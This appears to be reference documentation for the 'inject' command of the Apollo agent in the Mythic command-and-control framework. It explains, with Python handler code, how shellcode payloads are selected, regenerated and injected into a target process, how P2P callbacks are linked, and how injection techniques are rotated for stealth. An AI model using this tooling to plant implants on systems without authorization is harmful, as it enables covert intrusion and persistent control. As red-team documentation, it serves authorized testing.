> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# inject

> Converted from Markdown to MDX

<Note>
  Artifacts Generated: Process Inject
</Note>

## Summary

High-level wrapper for injecting Apollo agent shellcode into remote processes. Automatically handles payload selection, generation, and injection orchestration through the `shinject` command. Supports both egress and peer-to-peer (P2P) payloads with automatic callback linking for P2P communications.

* **Needs Admin:** False (depends on target process and injection technique)
* **Version:** 2
* **Author:** @djhohnstein

### Arguments

* **pid** (Number, Required) - Target process ID for injection
* **template** (Choice, Required) - Apollo payload template to inject
* **regenerate** (Boolean, Optional) - Generate new payload instance (default: false)

## Usage

```
inject
# Opens modal popup for payload selection and PID specification

# Advanced scripted usage
inject {"pid": 1234, "template": "apollo.exe - Default Apollo Agent", "regenerate": true}
```

<img src="https://mintlify.s3.us-west-1.amazonaws.com/specteropsdocs/mythic-agents/apollo-docs/documentation-payload/apollo/images/inject.png" alt="args" />

**Output:**

```
Injecting payload 'apollo_shellcode.bin' into PID 1234
Process injection artifact generated for PID 1234
New callback established from injected process
```

## Detailed Summary

### Agent Execution Flow

#### 1. Payload Discovery and Selection

```python theme={null}
async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
    payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
        CallbackID=inputMsg.Callback,
        PayloadTypes=["apollo"],
        IncludeAutoGeneratedPayloads=False,
        BuildParameters=[MythicRPCPayloadSearchBuildParameter(
            PayloadType="apollo", 
            BuildParameterValues={"output_type": "Shellcode"}
        )]
    ))
    
    if payload_search.Success:
        file_names = []
        for f in payload_search.Payloads:
            value = f"{f.Filename} - {f.Description}"
            file_names.append(value)
        return file_names
```

* Queries Mythic for available Apollo shellcode payloads
* Filters payloads to only include shellcode format ("Raw" output type)
* Excludes auto-generated payloads to show only operator-created templates
* Presents payloads in format: "filename - description"

#### 2. Parameter Processing and Validation

```python theme={null}
async def parse_arguments(self):
    if self.command_line[0] != "{":
        raise Exception("Inject requires JSON parameters and not raw command line.")
    
    self.load_args_from_json_string(self.command_line)
    supplied_dict = json.loads(self.command_line)
    
    if "process_id" in supplied_dict:
        self.add_arg("pid", int(supplied_dict["process_id"]))
    
    if self.get_arg("pid") == 0:
        raise Exception("Required non-zero PID")
```

* Requires JSON parameter format (no raw command line)
* Validates PID is provided and non-zero
* Supports alternative "process\_id" parameter name for compatibility
* Performs early validation before payload processing

#### 3. Payload Resolution and Retrieval

```python theme={null}
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
    string_payload = [x.strip() for x in taskData.args.get_arg("template").split(" - ")]
    filename = string_payload[0]
    desc = string_payload[1]
    
    payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
        CallbackID=taskData.Callback.ID,
        PayloadTypes=["apollo"],
        Filename=filename,
        Description=desc,
        IncludeAutoGeneratedPayloads=False,
        BuildParameters=[MythicRPCPayloadSearchBuildParameter(
            PayloadType="apollo", 
            BuildParameterValues={"output_type": "Shellcode"}
        )]
    ))
```

* Parses template selection into filename and description components
* Searches for exact payload match using filename and description
* Ensures payload is Apollo type with shellcode output format
* Validates payload exists and is accessible

#### 4. Payload Generation and Build Management

```python theme={null}
if taskData.args.get_arg("regenerate"):
    newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage(
        TaskID=taskData.Task.ID, 
        PayloadUUID=str_uuid, 
        NewDescription="{}'s injection into PID {}".format(
            taskData.Task.OperatorUsername, 
            str(taskData.args.get_arg("pid"))
        )
    ))
    
    if newPayloadResp.Success:
        str_uuid = newPayloadResp.NewPayloadUUID
        while True:
            resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
                PayloadUUID=newPayloadResp.NewPayloadUUID
            ))
            if resp.Success:
                if resp.Payloads[0].BuildPhase == 'success':
                    payload = resp.Payloads[0]
                    break
                elif resp.Payloads[0].BuildPhase == 'error':
                    raise Exception("Failed to build new payload")
                else:
                    await asyncio.sleep(1)  # Wait for build completion
```

* Supports generating new payload instances from templates
* Creates descriptive payload names including operator and target PID
* Implements polling mechanism for build completion
* Handles build failures with appropriate error messages

#### 5. C2 Profile Detection and P2P Handling

```python theme={null}
c2_info = payload.C2Profiles[0]
is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp"

if not is_p2p:
    # Standard egress payload injection
    subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
        TaskID=taskData.Task.ID,
        CommandName="shinject",
        Params=json.dumps({
            "pid": taskData.args.get_arg("pid"), 
            "shellcode-file-id": payload.AgentFileId
        })
    ))
else:
    # P2P payload requires connection linking
    connection_info = {
        "host": "127.0.0.1",
        "agent_uuid": str_uuid,
        "c2_profile": c2_info.to_json()
    }
    connection_info["c2_profile"]["name"] = connection_info["c2_profile"]["c2_profile"]
    connection_info["c2_profile"]["parameters"] = connection_info["c2_profile"]["c2_profile_parameters"]
    
    temp_inject_link_data[taskData.Task.ID] = connection_info
    subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
        TaskID=taskData.Task.ID,
        SubtaskCallbackFunction="inject_callback",
        CommandName="shinject",
        Params=json.dumps({
            "pid": taskData.args.get_arg("pid"), 
            "shellcode-file-id": payload.AgentFileId
        })
    ))
```

* Detects C2 profile type to determine injection strategy
* Handles egress payloads (HTTP/HTTPS) with simple injection
* Manages P2P payloads (SMB/TCP) with connection linking
* Prepares connection information for automatic callback linking

#### 6. Subtask Orchestration and Delegation

```python theme={null}
# The inject command creates subtasks rather than executing directly
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
    TaskID=taskData.Task.ID,
    CommandName="shinject",  # Delegates to shinject command
    Params=json.dumps({
        "pid": taskData.args.get_arg("pid"), 
        "shellcode-file-id": payload.AgentFileId
    })
))
```

* Creates subtask for actual shellcode injection
* Delegates to `shinject` command for low-level injection
* Passes resolved payload file ID and target PID
* Maintains parent-child task relationship

#### 7. P2P Callback Completion Handling

```python theme={null}
async def inject_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
    response = PTTaskCompletionFunctionMessageResponse(Success=True, Completed=True)
    
    # Copy responses from subtask to parent task
    resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(
        TaskID=task.SubtaskData.Task.ID
    ))
    for r in resp.Responses:
        await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
            TaskID=task.TaskData.Task.ID,
            Response=r.Response
        ))
    
    # If injection succeeded, create link subtask for P2P
    if "error" not in task.SubtaskData.Task.Status:
        if task.TaskData.Task.ID in temp_inject_link_data:
            response.Completed = False
            subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
                TaskID=task.TaskData.Task.ID,
                CommandName="link",
                SubtaskCallbackFunction="link_callback",
                Params=json.dumps({
                    "connection_info": temp_inject_link_data[task.TaskData.Task.ID]
                })
            ))
            del temp_inject_link_data[task.TaskData.Task.ID]
    
    return response
```

* Handles completion of injection subtask
* Copies all responses from subtask to parent task
* Automatically creates link subtask for P2P payloads
* Manages connection information for callback linking

#### 8. Link Completion and Response Aggregation

```python theme={null}
async def link_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
    response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus=task.SubtaskData.Task.Status, Completed=True)
    
    # Copy link responses to parent task
    resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(
        TaskID=task.SubtaskData.Task.ID
    ))
    for r in resp.Responses:
        await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
            TaskID=task.TaskData.Task.ID,
            Response=r.Response
        ))
    
    return response
```

* Handles completion of link subtask for P2P connections
* Aggregates all responses from both injection and linking
* Provides complete operation status to operator

### Payload Types and Compatibility

#### Supported Payload Formats

```python theme={null}
# Only shellcode format payloads are supported
BUILD_PARAMETERS = {
    "output_type": "Shellcode",  # Must be "Raw" format in Mythic UI
    "architecture": "x64",       # or "x86" 
    "payload_type": "apollo"
}
```

* **Shellcode Format**: Must be position-independent shellcode
* **Architecture**: x64 or x86 (must match target process)
* **Payload Type**: Apollo agent payloads only
* **Output Type**: "Raw" format in Mythic payload builder

#### C2 Profile Support

```python theme={null}
# Supported C2 profiles and their handling
C2_PROFILES = {
    "http": {
        "type": "egress",
        "requires_linking": False,
        "connection_method": "outbound_http"
    },
    "https": {
        "type": "egress", 
        "requires_linking": False,
        "connection_method": "outbound_https"
    },
    "smb": {
        "type": "p2p",
        "requires_linking": True,
        "connection_method": "named_pipes"
    },
    "tcp": {
        "type": "p2p",
        "requires_linking": True,
        "connection_method": "raw_tcp"
    }
}
```

#### Payload Template Management

```python theme={null}
# Template selection and reuse
class PayloadTemplateManager:
    def __init__(self):
        self.templates = {}
    
    def select_template(self, criteria):
        # Filter templates based on:
        # - C2 profile compatibility
        # - Architecture requirements
        # - Operational security needs
        # - Target environment constraints
        pass
    
    def should_regenerate(self, template, target_info):
        # Consider regeneration for:
        # - Unique payload per target
        # - Burn prevention
        # - Operational security
        # - Payload customization
        return True
```

### Advanced Features and Automation

#### Process Browser Integration

```python theme={null}
# UI integration for process selection
SUPPORTED_UI_FEATURES = ["process_browser:inject"]

# Allows operators to:
# - Browse running processes visually
# - Select target process from GUI
# - View process details (PID, name, user, etc.)
# - Filter processes by various criteria
```

#### Automated Payload Generation

```python theme={null}
# Automatic payload generation with descriptive names
def generate_payload_description(operator, pid, timestamp):
    return f"{operator}'s injection into PID {pid} at {timestamp}"

# Benefits:
# - Unique payloads per injection
# - Audit trail of payload usage
# - Reduced payload reuse risks
# - Operational tracking
```

#### Callback Linking Automation

```python theme={null}
# Automatic callback establishment for P2P payloads
class CallbackLinkingManager:
    def __init__(self):
        self.pending_links = {}
    
    def handle_p2p_injection(self, task_id, connection_info):
        # Store connection info for post-injection linking
        self.pending_links[task_id] = connection_info
    
    def create_link_subtask(self, task_id):
        # Automatically link P2P callbacks after successful injection
        connection_info = self.pending_links.get(task_id)
        if connection_info:
            # Create link command with connection details
            return self.create_link_command(connection_info)
```

### Error Handling and Recovery

#### Payload Build Failure Handling

```python theme={null}
# Comprehensive error handling for payload operations
class PayloadErrorHandler:
    def handle_build_failure(self, error_details):
        error_scenarios = {
            "compilation_error": "Payload compilation failed - check build parameters",
            "missing_dependencies": "Required build dependencies not available",
            "invalid_configuration": "Payload configuration is invalid",
            "resource_exhaustion": "Insufficient resources for payload build"
        }
        return error_scenarios.get(error_details.type, "Unknown build error")
    
    def handle_injection_failure(self, error_details):
        injection_scenarios = {
            "process_not_found": "Target process no longer exists",
            "access_denied": "Insufficient privileges for injection",
            "architecture_mismatch": "Payload architecture doesn't match target",
            "technique_failed": "Injection technique failed"
        }
        return injection_scenarios.get(error_details.type, "Unknown injection error")
```

#### Recovery Strategies

```python theme={null}
# Automatic retry and fallback mechanisms
class InjectionRecoveryManager:
    def __init__(self):
        self.retry_attempts = 3
        self.fallback_techniques = ["CreateRemoteThreadInjection", "QueueUserAPCInjection"]
    
    async def attempt_injection_with_retry(self, payload, pid):
        for attempt in range(self.retry_attempts):
            try:
                result = await self.perform_injection(payload, pid)
                if result.success:
                    return result
            except Exception as e:
                if attempt == self.retry_attempts - 1:
                    raise e
                await asyncio.sleep(1)  # Brief delay before retry
        
        # Try fallback techniques if primary fails
        for technique in self.fallback_techniques:
            try:
                result = await self.perform_injection_with_technique(payload, pid, technique)
                if result.success:
                    return result
            except Exception:
                continue
        
        raise Exception("All injection attempts failed")
```

### Security Considerations

#### Payload Tracking and Management

```python theme={null}
# Payload lifecycle management for security
class PayloadSecurityManager:
    def __init__(self):
        self.payload_usage_log = {}
    
    def track_payload_usage(self, payload_id, target_info):
        # Track payload usage for:
        # - Burn prevention
        # - Operational security
        # - Audit requirements
        # - Attribution management
        self.payload_usage_log[payload_id] = {
            "target": target_info,
            "timestamp": datetime.now(),
            "operator": self.get_current_operator()
        }
    
    def should_regenerate_payload(self, payload_id):
        # Regenerate payloads based on:
        # - Usage count
        # - Time since last use
        # - Security requirements
        # - Operational policies
        usage_count = len(self.payload_usage_log.get(payload_id, []))
        return usage_count > 5  # Example threshold
```

#### Operational Security Features

```python theme={null}
# OPSEC considerations for payload injection
class OPSECManager:
    def evaluate_injection_risk(self, target_pid, payload_info):
        risk_factors = {
            "high_profile_process": self.is_high_profile_process(target_pid),
            "unique_payload": payload_info.is_unique,
            "detection_history": self.get_detection_history(payload_info),
            "environment_sensitivity": self.assess_environment_risk()
        }
        return self.calculate_risk_score(risk_factors)
    
    def recommend_injection_parameters(self, risk_assessment):
        if risk_assessment.score > 0.8:
            return {
                "regenerate_payload": True,
                "use_advanced_technique": True,
                "delay_injection": True
            }
        return {"regenerate_payload": False}
```

### Performance and Resource Management

#### Payload Caching and Optimization

```python theme={null}
# Efficient payload management
class PayloadCacheManager:
    def __init__(self):
        self.cache = {}
        self.cache_size_limit = 50  # Maximum cached payloads
    
    def get_cached_payload(self, template_id):
        # Return cached payload if available and valid
        if template_id in self.cache:
            payload = self.cache[template_id]
            if self.is_payload_valid(payload):
                return payload
        return None
    
    def cache_payload(self, template_id, payload):
        # Cache payload for future use
        if len(self.cache) >= self.cache_size_limit:
            self.evict_oldest_payload()
        self.cache[template_id] = payload
```

#### Resource Usage Monitoring

```python theme={null}
# Monitor resource consumption during injection
class ResourceMonitor:
    def monitor_injection_operation(self, task_id):
        metrics = {
            "payload_build_time": self.measure_build_time(task_id),
            "injection_time": self.measure_injection_time(task_id),
            "memory_usage": self.measure_memory_usage(task_id),
            "network_overhead": self.measure_network_overhead(task_id)
        }
        return metrics
```

## APIs Used

| API                                  | Purpose                            | Integration    |
| ------------------------------------ | ---------------------------------- | -------------- |
| `SendMythicRPCPayloadSearch`         | Search for available payloads      | Mythic RPC     |
| `SendMythicRPCPayloadCreateFromUUID` | Generate new payload instances     | Mythic RPC     |
| `SendMythicRPCTaskCreateSubtask`     | Create injection subtasks          | Mythic RPC     |
| `SendMythicRPCResponseSearch`        | Retrieve subtask responses         | Mythic RPC     |
| `SendMythicRPCResponseCreate`        | Forward responses to parent        | Mythic RPC     |
| `shinject` command                   | Perform actual shellcode injection | Apollo Command |
| `link` command                       | Establish P2P callback links       | Apollo Command |

## MITRE ATT\&CK Mapping

* **T1055** - Process Injection
* **T1055.001** - Process Injection: Dynamic-link Library Injection
* **T1055.002** - Process Injection: Portable Executable Injection
* **T1129** - Shared Modules
* **T1071** - Application Layer Protocol (for egress payloads)
* **T1090** - Proxy (for P2P payloads)

## Security Considerations

* **Payload Management**: Centralized payload tracking and generation
* **Operational Security**: Automated unique payload generation per injection
* **Callback Linking**: Automatic P2P callback establishment
* **Audit Trail**: Complete logging of payload usage and injection targets
* **Technique Flexibility**: Leverages configurable injection techniques
* **Error Handling**: Comprehensive error reporting and recovery
* **Resource Management**: Efficient payload caching and resource usage

## Limitations

1. **Payload Format**: Only supports shellcode format payloads
2. **Apollo Specific**: Limited to Apollo agent payloads
3. **Architecture Matching**: Payload must match target process architecture
4. **C2 Profile Dependencies**: P2P payloads require additional linking steps
5. **Build Dependencies**: Requires functioning Mythic payload builder
6. **Network Connectivity**: Depends on reliable Mythic communication
7. **Process Permissions**: Subject to target process access restrictions

## Error Conditions

* **No Payloads Available**: No matching Apollo shellcode payloads found
* **Payload Build Failed**: Template payload failed to build
* **Build Timeout**: Payload build took too long to complete
* **Injection Failed**: Underlying shinject command failed
* **Link Failed**: P2P callback linking failed (P2P payloads only)
* **Permission Denied**: Insufficient access to target process
* **Invalid Template**: Selected template is not shellcode format
* **Network Error**: Communication with Mythic failed

## Best Practices

1. **Template Management**: Maintain variety of payload templates for different scenarios
2. **Payload Regeneration**: Use regenerate option for unique payloads per target
3. **Process Selection**: Choose appropriate target processes for injection
4. **C2 Profile Awareness**: Understand egress vs P2P payload differences
5. **Error Monitoring**: Monitor subtask completion and handle failures
6. **Resource Management**: Be aware of payload build and injection overhead
7. **OPSEC Considerations**: Rotate payloads and techniques for stealth
8. **Testing**: Validate payload templates in lab environments first